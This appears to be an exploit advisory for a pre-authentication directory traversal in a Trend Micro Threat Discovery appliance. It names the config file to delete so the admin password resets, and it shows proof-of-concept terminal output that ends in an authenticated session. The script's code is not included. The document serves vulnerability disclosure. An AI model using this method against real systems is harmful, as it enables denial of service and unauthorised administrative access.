Summary:
========

There exists a pre-authenticated directory traversal vulnerability that allows an attacker to delete any folder or file as root.
This can result in an attacker causing a DoS or bypassing authentication.

Exploitation:
=============

An attacker can use this vulnerability to bypass the authentication by reseting the default password back to 'admin'.

1. Delete the config file /opt/TrendMicro/MinorityReport/etc/igsa.conf
2. Wait for the server to be rebooted...

It is highly likely the server will be rebooted because the deletion of the config file causes a DoS condition whereby
no-body can even login... (since the md5 hashed pw is stored in the config file).

Notes:
======

- (Un)fortunately, we were not able to find a pre-authenticated way to reboot the server, hence requiring slight user interaction (or patience)
- No username required!

Example:
========

saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py
(+) usage: ./poc.py <target> <option [reset][login]>
(+) eg: ./poc.py 172.16.175.123 reset
(+) eg: ./poc.py 172.16.175.123 login
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login
(-) login failed
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 reset
(+) resetting the default password...
(+) success! now wait for a reboot...
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login
(+) logged in...
(+) authenticated session_id: de685c4feec6d698f8165a8af8489df1
